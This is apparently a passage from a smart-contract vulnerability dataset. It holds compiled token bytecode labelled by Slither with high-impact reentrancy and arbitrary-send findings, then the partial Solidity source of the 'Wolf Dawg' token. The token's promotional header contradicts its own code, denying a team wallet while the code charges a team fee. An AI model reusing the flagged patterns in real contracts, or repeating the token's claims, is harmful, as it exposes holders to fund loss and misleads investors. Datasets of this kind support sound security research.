1310a565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a93565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612939565b610786565b6040516102b19190613095565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612e0a565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ef3565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a16565b610990565b60405161035b9190612ed8565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a52565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ae5565b6110da565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061298b565b611226565b6040516104189190613095565b60405180910390f35b60606040518060400160405280600e81526020017f53686962614d656c6f6e2e636f6d000000000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b610559856040518060600160405280602881526020016137ce60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3f9092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612fd5565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612fd5565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611ca3565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d9e565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612fd5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f5348454c4f4e20f09f8d89000000000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612fd5565b60405180910390fd5b60005b8151811015610afa576001600a6000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af2906133ab565b915050610a46565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611e0c565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612fd5565b60405180910390fd5b600f60149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490613055565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e9190612962565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e089190612962565b6040518363ffffffff1660e01b8152600401610e25929190612e25565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e779190612962565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612e77565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612b0e565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612e4e565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d69190612abc565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612fd5565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612f95565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce800000061210690919063ffffffff16565b61218190919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161121b9190613095565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90613035565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612f55565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190613095565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790613015565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612f15565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612ff5565b60405180910390fd5b6115ab61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161957506115e961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7c57600f60179054906101000a900460ff161561184c573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561169b57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116f55750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561174f5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561184b57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117956112ad565b73ffffffffffffffffffffffffffffffffffffffff16148061180b5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117f36112ad565b73ffffffffffffffffffffffffffffffffffffffff16145b61184a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184190613075565b60405180910390fd5b5b5b60105481111561185b57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118ff5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61190857600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119b35750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a095750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a215750600f60179054906101000a900460ff165b15611ac25742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a7157600080fd5b603c42611a7e91906131cb565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611acd30610786565b9050600f60159054906101000a900460ff16158015611b3a5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b525750600f60169054906101000a900460ff165b15611b7a57611b6081611e0c565b60004790506000811115611b7857611b7747611ca3565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c235750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2d57600090505b611c39848484846121cb565b50505050565b6000838311158290611c87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7e9190612ef3565b60405180910390fd5b5060008385611c9691906132ac565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cf360028461218190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d1e573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6f60028461218190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d9a573d6000803e3d6000fd5b5050565b6000600654821115611de5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ddc90612f35565b60405180910390fd5b6000611def6121f8565b9050611e04818461218190919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e6a577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e985781602001602082028036833780820191505090505b5090503081600081518110611ed6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f7857600080fd5b505afa158015611f8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fb09190612962565b81600181518110611fea577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061205130600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120b59594939291906130b0565b600060405180830381600087803b1580156120cf57600080fd5b505af11580156120e3573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b600080831415612119576000905061217b565b600082846121279190613252565b90508284826121369190613221565b14612176576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216d90612fb5565b60405180910390fd5b809150505b92915050565b60006121c383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612223565b905092915050565b806121d9576121d8612286565b5b6121e48484846122b7565b806121f2576121f1612482565b5b50505050565b6000806000612205612494565b9150915061221c818361218190919063ffffffff16565b9250505090565b6000808311829061226a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122619190612ef3565b60405180910390fd5b50600083856122799190613221565b9050809150509392505050565b600060085414801561229a57506000600954145b156122a4576122b5565b600060088190555060006009819055505b565b6000806000806000806122c9876124ff565b95509550955095509550955061232786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461256790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123bc85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125b190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124088161260f565b61241284836126cc565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161246f9190613095565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b6000806000600654905060006b033b2e3c9fd0803ce800000090506124d06b033b2e3c9fd0803ce800000060065461218190919063ffffffff16565b8210156124f2576006546b033b2e3c9fd0803ce80000009350935050506124fb565b81819350935050505b9091565b600080600080600080600080600061251c8a600854600954612706565b925092509250600061252c6121f8565b9050600080600061253f8e87878761279c565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125a983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c3f565b905092915050565b60008082846125c091906131cb565b905083811015612605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125fc90612f75565b60405180910390fd5b8091505092915050565b60006126196121f8565b90506000612630828461210690919063ffffffff16565b905061268481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125b190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126e18260065461256790919063ffffffff16565b6006819055506126fc816007546125b190919063ffffffff16565b6007819055505050565b6000806000806127326064612724888a61210690919063ffffffff16565b61218190919063ffffffff16565b9050600061275c606461274e888b61210690919063ffffffff16565b61218190919063ffffffff16565b9050600061278582612777858c61256790919063ffffffff16565b61256790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127b5858961210690919063ffffffff16565b905060006127cc868961210690919063ffffffff16565b905060006127e3878961210690919063ffffffff16565b9050600061280c826127fe858761256790919063ffffffff16565b61256790919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006128386128338461314a565b613125565b9050808382526020820190508285602086028201111561285757600080fd5b60005b85811015612887578161286d8882612891565b84526020840193506020830192505060018101905061285a565b5050509392505050565b6000813590506128a081613788565b92915050565b6000815190506128b581613788565b92915050565b600082601f8301126128cc57600080fd5b81356128dc848260208601612825565b91505092915050565b6000813590506128f48161379f565b92915050565b6000815190506129098161379f565b92915050565b60008135905061291e816137b6565b92915050565b600081519050612933816137b6565b92915050565b60006020828403121561294b57600080fd5b600061295984828501612891565b91505092915050565b60006020828403121561297457600080fd5b6000612982848285016128a6565b91505092915050565b6000806040838503121561299e57600080fd5b60006129ac85828601612891565b92505060206129bd85828601612891565b9150509250929050565b6000806000606084860312156129dc57600080fd5b60006129ea86828701612891565b93505060206129fb86828701612891565b9250506040612a0c8682870161290f565b9150509250925092565b60008060408385031215612a2957600080fd5b6000612a3785828601612891565b9250506020612a488582860161290f565b9150509250929050565b600060208284031215612a6457600080fd5b600082013567ffffffffffffffff811115612a7e57600080fd5b612a8a848285016128bb565b91505092915050565b600060208284031215612aa557600080fd5b6000612ab3848285016128e5565b91505092915050565b600060208284031215612ace57600080fd5b6000612adc848285016128fa565b91505092915050565b600060208284031215612af757600080fd5b6000612b058482850161290f565b91505092915050565b600080600060608486031215612b2357600080fd5b6000612b3186828701612924565b9350506020612b4286828701612924565b9250506040612b5386828701612924565b9150509250925092565b6000612b698383612b75565b60208301905092915050565b612b7e816132e0565b82525050565b612b8d816132e0565b82525050565b6000612b9e82613186565b612ba881856131a9565b9350612bb383613176565b8060005b83811015612be4578151612bcb8882612b5d565b9750612bd68361319c565b925050600181019050612bb7565b5085935050505092915050565b612bfa816132f2565b82525050565b612c0981613335565b82525050565b6000612c1a82613191565b612c2481856131ba565b9350612c34818560208601613347565b612c3d81613481565b840191505092915050565b6000612c556023836131ba565b9150612c6082613492565b604082019050919050565b6000612c78602a836131ba565b9150612c83826134e1565b604082019050919050565b6000612c9b6022836131ba565b9150612ca682613530565b604082019050919050565b6000612cbe601b836131ba565b9150612cc98261357f565b602082019050919050565b6000612ce1601d836131ba565b9150612cec826135a8565b602082019050919050565b6000612d046021836131ba565b9150612d0f826135d1565b604082019050919050565b6000612d276020836131ba565b9150612d3282613620565b602082019050919050565b6000612d4a6029836131ba565b9150612d5582613649565b604082019050919050565b6000612d6d6025836131ba565b9150612d7882613698565b604082019050919050565b6000612d906024836131ba565b9150612d9b826136e7565b604082019050919050565b6000612db36017836131ba565b9150612dbe82613736565b602082019050919050565b6000612dd66011836131ba565b9150612de18261375f565b602082019050919050565b612df58161331e565b82525050565b612e0481613328565b82525050565b6000602082019050612e1f6000830184612b84565b92915050565b6000604082019050612e3a6000830185612b84565b612e476020830184612b84565b9392505050565b6000604082019050612e636000830185612b84565b612e706020830184612dec565b9392505050565b600060c082019050612e8c6000830189612b84565b612e996020830188612dec565b612ea66040830187612c00565b612eb36060830186612c00565b612ec06080830185612b84565b612ecd60a0830184612dec565b979650505050505050565b6000602082019050612eed6000830184612bf1565b92915050565b60006020820190508181036000830152612f0d8184612c0f565b905092915050565b60006020820190508181036000830152612f2e81612c48565b9050919050565b60006020820190508181036000830152612f4e81612c6b565b9050919050565b60006020820190508181036000830152612f6e81612c8e565b9050919050565b60006020820190508181036000830152612f8e81612cb1565b9050919050565b60006020820190508181036000830152612fae81612cd4565b9050919050565b60006020820190508181036000830152612fce81612cf7565b9050919050565b60006020820190508181036000830152612fee81612d1a565b9050919050565b6000602082019050818103600083015261300e81612d3d565b9050919050565b6000602082019050818103600083015261302e81612d60565b9050919050565b6000602082019050818103600083015261304e81612d83565b9050919050565b6000602082019050818103600083015261306e81612da6565b9050919050565b6000602082019050818103600083015261308e81612dc9565b9050919050565b60006020820190506130aa6000830184612dec565b92915050565b600060a0820190506130c56000830188612dec565b6130d26020830187612c00565b81810360408301526130e48186612b93565b90506130f36060830185612b84565b6131006080830184612dec565b9695505050505050565b600060208201905061311f6000830184612dfb565b92915050565b600061312f613140565b905061313b828261337a565b919050565b6000604051905090565b600067ffffffffffffffff82111561316557613164613452565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131d68261331e565b91506131e18361331e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613216576132156133f4565b5b828201905092915050565b600061322c8261331e565b91506132378361331e565b92508261324757613246613423565b5b828204905092915050565b600061325d8261331e565b91506132688361331e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132a1576132a06133f4565b5b828202905092915050565b60006132b78261331e565b91506132c28361331e565b9250828210156132d5576132d46133f4565b5b828203905092915050565b60006132eb826132fe565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006133408261331e565b9050919050565b60005b8381101561336557808201518184015260208101905061334a565b83811115613374576000848401525b50505050565b61338382613481565b810181811067ffffffffffffffff821117156133a2576133a1613452565b5b80604052505050565b60006133b68261331e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133e9576133e86133f4565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613791816132e0565b811461379c57600080fd5b50565b6137a8816132f2565b81146137b357600080fd5b50565b6137bf8161331e565b81146137ca57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204f5996f3a85d42d243823b956adf3115c392c6b814521548fc1ccf43e224280e64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 602 |
0x907dac5410d11c4e5815c7718fd3304a7f6538e4 | /*
Wolf Dawg
Get ready to rocket! Myobu tokenomics - IMPROVED.
A more FAST-PACED & EXCITING token.
You have 4 sells within every 8-hour period, instead of every 24-hours!
https://t.me/WolfDawgOfficial
https://wolfdawg.net
https://twitter.com/WolfDawgToken
1. Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool.
2. No Team & Marketing wallet. 100% of the tokens will come on the market for trade.
3. No presale wallets that can dump on the community.
Token Information
1. 1,000,000,000,000 Total Supply
3. Developer provides LP
4. Fair launch for everyone!
5. 0,2% transaction limit on launch
6. Buy limit lifted after launch
7. Sells limited to 3% of the Liquidity Pool, <2.9% price impact
8. Sell cooldown increases on consecutive sells, 4 sells within an 8 hour period are allowed
9. 2% redistribution to holders on all buys
10. 7% redistribution to holders on the first sell, increases 2x, 3x, 4x on consecutive sells
11. Redistribution actually works!
12. 5-6% developer fee split within the team
SPDX-License-Identifier: Mines™®©
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract Wolfdawg is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Wolf Dawg";
string private constant _symbol = "WOLFDAWG";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 7;
uint256 private _teamFee = 5;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
